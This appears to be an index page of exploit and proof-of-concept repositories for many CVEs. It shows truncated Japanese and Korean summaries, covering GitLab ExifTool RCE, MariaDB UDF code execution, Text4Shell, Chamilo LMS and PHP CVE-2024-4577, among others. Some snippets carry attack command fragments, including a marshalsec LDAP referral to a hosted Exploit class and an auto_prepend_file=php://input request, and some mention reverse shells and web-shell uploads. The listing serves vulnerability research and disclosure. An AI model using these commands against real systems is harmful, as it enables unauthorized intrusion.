CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE 元のリポジトリ : https://github.com/CsEnox/Gitlab-Exiftool-RCE クレジット: CsEnox Gitlab 13.10.3 向け RCE エクスプロイト GitLab Workhorse は任意のファイルを ExifTool に渡します。現在のバグは ExifTool の DjVu モジュールにあります。 GitLab Workhorse を経由して画像をアップロードできる人なら誰でも、特別に細工されたファイルを介して RCE を達成できます。 使用方法 python3 exploit.py -c...

CVE-2023-39593

MariaDB 10.5 認証済みコード実行 - sysexec このガイドでは、リモートサーバー上のMariaDBにおけるユーザー定義関数（UDF）の脆弱性を悪用するための詳細な手順を説明します。これらの手順には、脆弱なデータベースシステム上での悪意のあるコードのダウンロードと実行が含まれます。 警告: このドキュメントは教育目的のみです。これらの技術を許可なく使用することは違法であり、非倫理的です。 攻撃を再現する手順 1. MariaDBリモートホストに接続する 以下のコマンドを使用してMySQLサーバーに接続します： mysql -h 192.168.214.129 -u roo...

CVE-2022-42889-Analysis

CVE-2022-42889 Text4Shell Report Apache Commons Text CVE-2022-42889에 대한 분석 보고서와 폐쇄형 테스트 환경 기반 공격 시연 자료를 정리한 저장소다. Documents CVE-2022-42889 - 취약점 분석 보고서 Repository Structure CVE-2022-42889-Report/ ├─ README.md ├─ report/ │ └─ CVE-2022-42889Text4ShellReport.md └─ images/ ├─ 01-docker-check.png ├─...

CVE-2020-8840

CVE-2020-8840 환경 jdk 8u161 windows10 1903 절차 1. 실행하려는 코드가 포함된 Exploit.java 파일을 생성하고 컴파일하세요 2. 클래스 파일과 같은 디렉터리에서 Python 또는 다른 도구를 사용하여 HTTP 서버를 생성하세요 3. marshalsec을 사용하여 LDAP 서버를 생성하세요: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/Exploit...

[SECURITY] [DSA 6541-1] wireshark security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6541-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff October 04, 2026 https://www.debian.org/security/faq -...

CVE-2021-1675

🖨️ CVE-2021-1675 — PrintNightmare Windows Print Spooler RCE/LPE タイプ: 概念実証 — シミュレーション（非機能） CVE: CVE-2021-1675 + CVE-2021-34527 CVSS: 7.8 LPE / 8.8 RCE 別名: PrintNightmare パッチ適用: 2021年6月/7月 — KB5004945 CISA KEV に追加: 2021年7月 ⚠️ このPoCのペイロードは明示的に架空かつ非悪意のものです —...

CVE-2025-46157

CVE-2025-46157 CVE-2025-46157 – Timetrax V1 2025 원격 코드 실행 및 권한 상승 요약 Timetrax V1 2025 에서 중대한 취약점이 발견되었습니다. 인증된 사용자가 파일 업로드 제한을 우회하여 원격 코드 실행RCE 을 달성할 수 있습니다. 이 문제는 Attendance 모듈의 Leave Request 양식 에 존재하며, 취약한 서버 측 검증으로 인해 악의적인 .asp 웹 셸이 수정된 요청을 통해 업로드될 수 있습니다. 추가 익스플로잇을 통해 SeImpersonatePrivilege를...

CVE-2026-58138

🚨 CVE-2026-58138 — 認証不要のリモートコード実行 🔥 Conductorにおける重大な認証不要のリモートコード実行 影響を受けるバージョン:3.21.21 → 3.30.2 📌 概要 CVE-2026-58138 は、Conductor / Orkes Conductor に影響を与える重大な認証不要のリモートコード実行（RCE） 脆弱性です。 この脆弱性は、GraalVM を介して評価されるユーザー制御のスクリプト式をアプリケーショ...

CVE-2025-8088-WinRAR-PathTraversal-PoC

CVE-2025-8088 WinRAR 경로 탐색 익스플로잇 PoC WinRAR 경로 탐색 취약점 CVE-2025-8088 버전 ≤ 7.12에 영향을 시연하는 개념 증명 익스플로잇입니다. 취약점 세부 정보 CVE ID : CVE-2025-8088 CVSS 점수 : 8.4 높음 영향 받는 버전 : WinRAR ≤ 7.12 패치 버전 : WinRAR 7.13에서 수정됨 취약점 유형 : 대체 데이터 스트림ADS을 통한 경로 탐색 CVE-2025-8088 개요 CVE-2025-8088 은 WinRAR의 경로 탐색 취약점으로, Windo...

CVE-2023-4220

Chamilo LMS 인증되지 않은 원격 코드 실행 익스플로잇 CVE-2023-4220 개요 이 저장소는 Chamilo LMS의 인증되지 않은 원격 코드 실행RCE 취약점을 임의 파일 쓰기를 통해 익스플로잇하는 Bash 스크립트를 포함합니다. 해당 취약점은 CVE-2023-4220으로 식별됩니다. 이 익스플로잇은 악성 PHP 파일을 업로드하여 공격자가 대상 서버에서 임의의 명령을 실행할 수 있도록 합니다. 전제 조건 취약한 Chamilo LMS 인스턴스. 리버스 셸을 수신할 리스너 예: Netcat 사용. 익스플로잇 세부 사항...

go-get-rce

이 저장소에는 README가 없습니다...

CVE-2024-2044

PoC CVE-2024-2044: pgAdmin 4 認証済みRCE Linux/POSIX このリポジトリには、Linux/POSIX環境で動作するpgAdmin 4バージョン8.3以下における、認証済みパストラバーサル と安全でないデシリアライゼーション を組み合わせた重大な脆弱性であるCVE-2024-2044 の Proof of ConceptPoCスクリプトが含まれています。 !WARNING 免責事項: このコードは、教育、セキュリティ研究、および正式なペネトレーションテストauthorized...

WordPress-HT-Contact-CVE-2025-7340-RCE

WordPress HT Contact Form Widget | CVE-2025-7340 ファイルアップロード脆弱性分析 脆弱性の場所 脆弱性の場所：ht-contactform/admin/Includes/Services/FileManager.php 重要な関数：tempfileupload 1. 主な脆弱性ポイント：tempfileupload 関数 63行 public function tempfileupload$file $destination = "$this-dir/temp";...

CVE-2024-27766

CVE-2024-27766 UDFを介したMariaDB v11.1 RCE — Ant1sec-ops/CVE-2024-27766 に基づく修正版PoC。 概要 | ---|--- 影響を受けるバージョン| MariaDB v11.1 修正バージョン| 10.5.25 / 10.6.18 / 10.11.8 / 11.0.6 / 11.1.5 / 11.2.4 / 11.4.2+ 種別| ユーザー定義関数（UDF）を介したRCE MariaDB v11.1 では、十分なデータベース権限（FILE...

CVE-2024-34102

Cosmic Sting: CVE-2024-34102 エクスプロイター Cosmic Sting は、CVE-2024-34102（リモートコード実行の脆弱性）を悪用するために設計された Go ベースのツールです。 CVE-2024-34102 詳細 Adobe Commerce バージョン 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 およびそれ以前は、XML 外部エンティティ参照（'XXE'）の不適切な制限の脆弱性の影響を受け、任意のコード実行につながる可能性があります。攻撃者は、外部エンティティを参照する巧妙に細工された XML...

CVE-2025-8889

Exploit Title: WordPress Compress Then Upload Plugin 1.0.3 임의 파일 업로드를 통한 RCE Date: 2025-07-23 Exploit Author: Muhammed Çelik 공급업체 홈페이지: https://wordpress.com/plugins/compress-then-upload 소프트웨어 링크: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip 버전: 1.0.3 테스트 환경:...

CVE-2025-12399

Alex Reservations: Smart Restaurant Booking = 2.2.3 - 認証済み（Admin+）任意ファイルアップロード WordPress プラグイン Alex Reservations（バージョン 2.2.3 以前）には、認証済みの WordPress 管理者が悪意のある PHP ファイルをサーバーにアップロードできる任意ファイルアップロードの脆弱性が存在し、リモートコード実行につながる可能性があります。 TL;DR エクスプロイト リモート攻撃者が shell.php をアップロードしてリモートコードを実行することを実証するための POC...

sonarcloud-scan

Bitbucket Pipelines Pipe: SonarQube Cloud スキャン SonarQube Cloud でコードをスキャンして、25以上のプログラミング言語におけるバグ、脆弱性、コードスメルを検出します。 お使いの SonarCloud アカウントは、最初に Bitbucket チームまたはユーザーアカウントに関連付ける必要があります。SonarQube Cloud はオープンソースプロジェクトでは完全に無料です。コードがクローズドソースの場合、SonarQube Cloud にはプライベート解析を実行するための有料プランもあります。 注: Maven または...

CVE-2024-4577

CVE-2024-4577 환경 구축 파일 및 PHP파일 --poc-- Invoke-WebRequest -Method POST -Headers @"Content-Type" = "application/x-www-form-urlencoded" -Body "" -Uri "http://localhost/test.php?%ADd+allowurlinclude%3D1+%ADd+autoprepend file%3Dphp://input"...

bitbucket-test

CVE-2022-36804 を調査するための Docker コンテナ Bitbucket がユーザー入力をサニタイズせず、攻撃者が Git フラグを注入してリモートでコードを実行できるようにする、リモートコード実行の脆弱性を再現します。 このリポジトリは、Bitbucket Server における事前認証の引数インジェクションの問題である CVE-2022-36804 を再現した方法を文書化したものです。目的は、Assetnote の公開記事に記載されている根本的なセキュリティ問題を実証することでした。すべてのテストは隔離されたローカル環境で実施されました。 概要...